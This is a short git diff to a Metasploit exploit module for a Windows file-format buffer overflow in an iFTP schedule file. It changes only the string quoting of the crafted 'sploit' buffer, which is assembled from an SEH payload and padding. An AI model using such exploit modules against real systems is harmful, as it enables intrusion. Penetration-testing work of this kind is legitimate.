diff --git a/modules/exploits/windows/fileformat/iftp_schedule_bof.rb b/modules/exploits/windows/fileformat/iftp_schedule_bof.rb
index 8f13604c15..c2b8932863 100644
--- a/modules/exploits/windows/fileformat/iftp_schedule_bof.rb
+++ b/modules/exploits/windows/fileformat/iftp_schedule_bof.rb
@@ -70,10 +70,10 @@ class Metasploit3 < Msf::Exploit::Remote
evil << generate_seh_payload(target.ret)
evil << rand_text_alpha(20000)
- sploit = "
+ sploit = %Q|
-
- "
+
+ |
# Create the file
print_status("Creating '#{datastore['FILENAME']}' file ...")